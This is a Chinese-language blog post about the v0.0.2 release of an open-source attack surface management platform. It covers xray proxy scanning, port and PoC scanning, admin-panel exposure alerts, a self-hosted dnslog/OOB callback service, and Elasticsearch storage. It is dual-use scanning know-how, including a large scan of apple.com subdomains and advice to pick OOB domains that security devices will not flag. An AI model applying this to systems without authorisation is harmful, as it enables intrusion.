<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>背景</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">今天<span style="color: #1e6bb8;font-weight: bold;">asm项目v0.0.2版本</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[1]</sup>发布了，新增了一些功能：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">支持&#34;用户浏览器设置代理后访问网站，利用代理扫描发现站点漏洞&#34;</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">新增工作流，支持&#34;探测指定资产是否存在后台对外暴露，站点截图辅助告警运营&#34;、&#34;对任意端口poc扫描&#34;</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">集成xray反连平台，支持基于http/dnslog的检测</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">集成elasticsearch和kibana，爬虫和代理的数据会存储到es中</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">本文介绍用户可以怎么用这些功能和背后的事(为什么要做这些、怎么做的、中间遇到了什么问题以及如何解决、技术选型)。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>支持&#34;用户浏览器设置代理后访问网站，利用代理扫描发现站点漏洞&#34;</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">xray代理以nodeport service的方式对集群外提供服务，用户在安装实例时可以指定对外服务的端口值，如下</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">helm template ./ --set xray_proxy_nodeport=30088</code></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.20081967213114754" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="976" src="https://wechat2rss.xlab.app/img-proxy/?k=ef83f4ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYyOHIan1oiajITWHkxADah50s8dnkH1NpbkgKzdWqVKadEv4KAGEic7XRicz1mdv2ibpXUtCib2MkRHYYg%2F640%3Fwx_fmt%3Dpng"/></figure><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">xray代理使用参考官网文档 <a href="https://docs.xray.cool/#/tutorial/webscan_proxy" target="_blank">https://docs.xray.cool/#/tutorial/webscan_proxy</a></p></blockquote><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">本来打算以ingress方式对集群外提供服务，但测试后发现以ingress方式对外提供服务时，只能代理http请求、无法代理https，如下</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.29881862404447534" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="2878" src="https://wechat2rss.xlab.app/img-proxy/?k=1ca1a87e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYyOHIan1oiajITWHkxADah50iaqboZbicJVYm94FFypvEnCndwiccG668Er2kd4giaqWeTWAXYnUsJ7lyg%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.3765432098765432" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="972" src="https://wechat2rss.xlab.app/img-proxy/?k=07eff0da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYyOHIan1oiajITWHkxADah50C7rNEcgV8G7sib1vypseNIPgHAibezCDg91KOw2f5ibyzXrnrsQfS0JPg%2F640%3Fwx_fmt%3Dpng"/></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>支持&#34;对任意端口做poc扫描&#34;</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">多个工作流中支持端口扫描，如下</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.8316831683168316" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1616" src="https://wechat2rss.xlab.app/img-proxy/?k=1cbb7cd6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYyOHIan1oiajITWHkxADah50NmxCJjLjyGAUM5q6Ga5qicL2zWIGmZlRCzakUURSmGhib4ZDpOEcqIhQ%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.8675213675213675" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1404" src="https://wechat2rss.xlab.app/img-proxy/?k=6daf9b23&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYyOHIan1oiajITWHkxADah50X3UzP3wEvia3icZib0rTLQK478slmvKA1p8ibC4fNsGX93Kibicn5J6nmV7A%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这一块实现上是先用<span style="color: #1e6bb8;font-weight: bold;">naabu</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[2]</sup>的syn扫描获得开放端口信息，然后用<span style="color: #1e6bb8;font-weight: bold;">httpx</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[3]</sup>获取开放的web服务。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">目前端口扫描的速度不是很快，比如apple.com的16k个子域名8000-9000端口需要20个小时，平均下来每秒识别222个端口。或许可以调整naabu的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">-rate</code>试试。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>支持&#34;探测指定资产是否存在后台对外暴露，站点截图辅助告警运营&#34;</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">用户创建任务后，可以在控制台运营后台报警，如下</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.9497126436781609" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1392" src="https://wechat2rss.xlab.app/img-proxy/?k=02f6202e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYyOHIan1oiajITWHkxADah50rUiccqOEw8WeiaFcUmM4fDYAkoxkQRJCVCEj4haeCu6ebDiaqgxziaSmag%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.35958188153310106" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="2870" src="https://wechat2rss.xlab.app/img-proxy/?k=b7675ddc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYyOHIan1oiajITWHkxADah50l69slg9d3H6AD0srPxYRwgRH03HSEZqwhbYeYS0AlVhakOqCKLibI9w%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">为什么要做这类告警呢？源于之前的实践经验，见 <a href="https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247484212&amp;idx=1&amp;sn=0533cfb1e2b85e75f94eeab12a62db64&amp;scene=21#wechat_redirect" style="color: rgb(30, 107, 184);overflow-wrap: break-word;font-weight: bold;border-bottom: 1px solid rgb(30, 107, 184);" data-linktype="2">安全建设-攻防思路与实践（一）</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">识别策略代码见 <a href="https://github.com/leveryd-asm/tools/blob/main/x/fms.go" target="_blank">https://github.com/leveryd-asm/tools/blob/main/x/fms.go</a> ，有三类：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">域名中包含关键词，直接当作后台管理系统</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">使用vue、react、angular等框架的网站</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">存在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">&lt;table&gt;</code>标签，认为它可能需要渲染数据</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">因为现在误报很多，为了运营效率，所以告警信息中会包含站点截图。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">站点截图并没有通过集成 <span style="color: #1e6bb8;font-weight: bold;">gowitness</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[4]</sup> 实现，因为我觉得gowitness不适用于告警这个场景，它没有对同一个url的去重，也不能标记告警状态。而是通过 <span style="color: #1e6bb8;font-weight: bold;">browserless</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[5]</sup> 实现, 印象中他们在生产环境中有过大规模的实践。实际上无头浏览器类型的爬虫也可以用browserless服务。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>集成dnslog平台</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">因为asm项目用到了xray、<span style="color: #1e6bb8;font-weight: bold;">nuclei</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[6]</sup>，而很多漏洞的检测需要依赖dnslog，所以需要集成<span style="color: #1e6bb8;font-weight: bold;">xray反连平台</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[7]</sup>，<span style="color: #1e6bb8;font-weight: bold;">nuclei的interactsh</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[8]</sup>。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">虽然interactsh内置了几个可用的dns/http oob服务，但是默认的几个域名可能会被安全设备检测到，影响扫描效果。所以有必要用自己的域名部署。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">用户通过设置以下参数，就可以独立部署xray反连服务，并且xray扫描时会使用反连平台。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">helm template ./ --<span style="color: #e6c07b;line-height: 26px;">set</span> reverse_http_base_url=<span style="color: #98c379;line-height: 26px;">&#34;leveryd.xxxx.org&#34;</span> --<span style="color: #e6c07b;line-height: 26px;">set</span> reverse_dns_domain=<span style="color: #98c379;line-height: 26px;">&#34;yyyyy.top&#34;</span> --<span style="color: #e6c07b;line-height: 26px;">set</span> reverse_http_enable=<span style="color: #56b6c2;line-height: 26px;">true</span> --<span style="color: #e6c07b;line-height: 26px;">set</span> reverse_dns_enable=<span style="color: #56b6c2;line-height: 26px;">true</span>  --<span style="color: #e6c07b;line-height: 26px;">set</span> reverse_client_enable=<span style="color: #56b6c2;line-height: 26px;">true</span><br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">xray反连容器通过host网络模式对外在53、80端口提供服务，所以需要容器宿主机上这两个端口没有被占用。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">有关dnslog模块遇到了两个问题，还没有解决。一个问题是误报，某些目标不知道出于什么原因确实会产生dns请求，但实际不存在漏洞。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">另一个问题是漏报，某些漏洞可能要等一小时后异步触发，这种漏洞会被nuclei和xray漏掉。我以前的解决办法是在dns请求中加入目标和poc信息，然后定时任务去筛选dnslog。但目前无法通过api或者直接操作db来读取xray反连平台和interactsh的dnslog记录。</p><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">异步触发的漏洞可以参考 <a href="https://portswigger.net/research/hunting-asynchronous-vulnerabilities" target="_blank">https://portswigger.net/research/hunting-asynchronous-vulnerabilities</a></p></blockquote><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>集成elasticsearch和kibana</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">kibana以ingress方式可以被集群外服务访问，用户可以通过访问<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">kibana.{{.Values.console_domain}}</code>访问kibana，如下</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.17219477769936486" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="2834" src="https://wechat2rss.xlab.app/img-proxy/?k=02792de4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYyOHIan1oiajITWHkxADah50qAOUqAuVrNcrRNW4cS1m2l7LcnkMr8LEc2biaxOd4ZJwyORLoxiciaNXw%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.24821973550356052" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1966" src="https://wechat2rss.xlab.app/img-proxy/?k=708e13e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYyOHIan1oiajITWHkxADah50XsfOYB4SYDSHK3icARichsOcyDiaTNz5Z0Sv4EtFjyML66MNiaGicEU3mqw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">elasticsearch用来做什么呢？人工浏览网站的数据会经过xray代理，因为人工浏览一次不容易，所以想着最好能把这些数据存下来。后面可以干很多事情，比如从网站请求中找子域名信息。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">以下是apple.com的子域名信息，elasticsearch中可以找到3个subfinder没找到的子域名。subfinder找到17834个子域名，通过elasticsearch数据找到65个子域名，去重后有17837个子域名。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.39591836734693875" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="490" src="https://wechat2rss.xlab.app/img-proxy/?k=b036699f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYyOHIan1oiajITWHkxADah50mlG8vkb64kgJ84pll6BeMBQWmTU2FECUstjxeH5fS5iczIHB5jCsriaw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">目前架构上是 xray-&gt;<span style="color: #1e6bb8;font-weight: bold;">proxify</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[9]</sup>-&gt;elasticsearch。proxify是go实现的一个代理服务，支持导入原始请求和响应到elasticsearch中。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">proxify目前最新的v0.0.8版本主要存在两个问题，一个是有的请求响应过大，导致es查询时会报错，另一个是只有原始信息，而没有url、host、body等信息。同时它目前还有一些低级的bug会导致程序不可用，详情可以见我提的<span style="color: #1e6bb8;font-weight: bold;">issues</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[10]</sup>。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这两个问题，在咨询<span style="color: #1e6bb8;font-weight: bold;">Evilran</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[11]</sup>师傅后，最终用elasticsearch的<span style="color: #1e6bb8;font-weight: bold;">ingest pipeline</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[12]</sup>方式解决。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">因为xray会将proxify服务设置成代理，所以如果proxify服务挂掉，xray也不能工作了。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这个可用性我觉得目前也能接受，本次更新也做了其他关于系统可用性和性能相关的优化。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>可用性和性能优化</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可用性方面主要做了以下事情：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">mysql数据持久化，不用担心重启pod数据就没了</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">每隔两小时更新nuclei模板，而不是每次扫描前更新</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">设置默认pod gc时间，避免pod数量过多时节点不可用，详情见 <span style="color: #1e6bb8;font-weight: bold;">issue</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[13]</sup></section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">asm实例的某个服务挂了导致任务失败不可怕，但是如果域名、报警等数据丢了，自己之前录入数据、运营告警标记告警状态的时间就白投入了。所以mysql库的数据肯定是需要持久化存储和备份的。目前通过k8s的pv机制和卷挂载到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">/var/lib/mysql</code>做到持久化存储，自动备份0.0.3版本再做。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">默认情况下每次nuclei容器运行时都会拉取扫描规则，它会有两个不好的影响：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">请求api.github.com拉取规则时因为频率限制和网络原因很有可能失败，进而导致扫描失败</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">会造成带宽浪费，扫描速度也会慢一点</section></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.1841556636553162" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="2878" src="https://wechat2rss.xlab.app/img-proxy/?k=f0b026ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYyOHIan1oiajITWHkxADah50V1icDXGu3ib2Vbq4uk24mTR72S9wyicUODjgiavibmLQibFfRNWB6TiaWQeeQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">性能优化主要是扫描前对子域名、url等去重，见 <span style="color: #1e6bb8;font-weight: bold;">pr</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[14]</sup></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>PS</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">目前对外的服务全部都没有认证，包括 xray代理、kibana、console、argo 等，所以最好仅在内网使用，不要开放到公网。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: block;">参考资料</span></h3><section data-tool="mdnice编辑器"><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[1]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">asm项目v0.0.2版本: <em><a href="https://github.com/leveryd-asm/asm/releases/tag/v0.0.2" target="_blank">https://github.com/leveryd-asm/asm/releases/tag/v0.0.2</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[2]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">naabu: <em><a href="https://github.com/projectdiscovery/naabu" target="_blank">https://github.com/projectdiscovery/naabu</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[3]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">httpx: <em><a href="https://github.com/projectdiscovery/httpx" target="_blank">https://github.com/projectdiscovery/httpx</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[4]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">gowitness: <em><a href="https://github.com/sensepost/gowitness" target="_blank">https://github.com/sensepost/gowitness</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[5]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">browserless: <em><a href="https://github.com/browserless/chrome" target="_blank">https://github.com/browserless/chrome</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[6]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">nuclei: <em><a href="https://github.com/projectdiscovery/nuclei" target="_blank">https://github.com/projectdiscovery/nuclei</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[7]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">xray反连平台: <em><a href="https://docs.xray.cool/#/configration/reverse" target="_blank">https://docs.xray.cool/#/configration/reverse</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[8]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">nuclei的interactsh: <em><a href="https://github.com/projectdiscovery/interactsh" target="_blank">https://github.com/projectdiscovery/interactsh</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[9]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">proxify: <em><a href="https://github.com/projectdiscovery/proxify" target="_blank">https://github.com/projectdiscovery/proxify</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[10]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">issues: <em><a href="https://github.com/projectdiscovery/proxify/issues?q=author%3Aleveryd" target="_blank">https://github.com/projectdiscovery/proxify/issues?q=author%3Aleveryd</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: 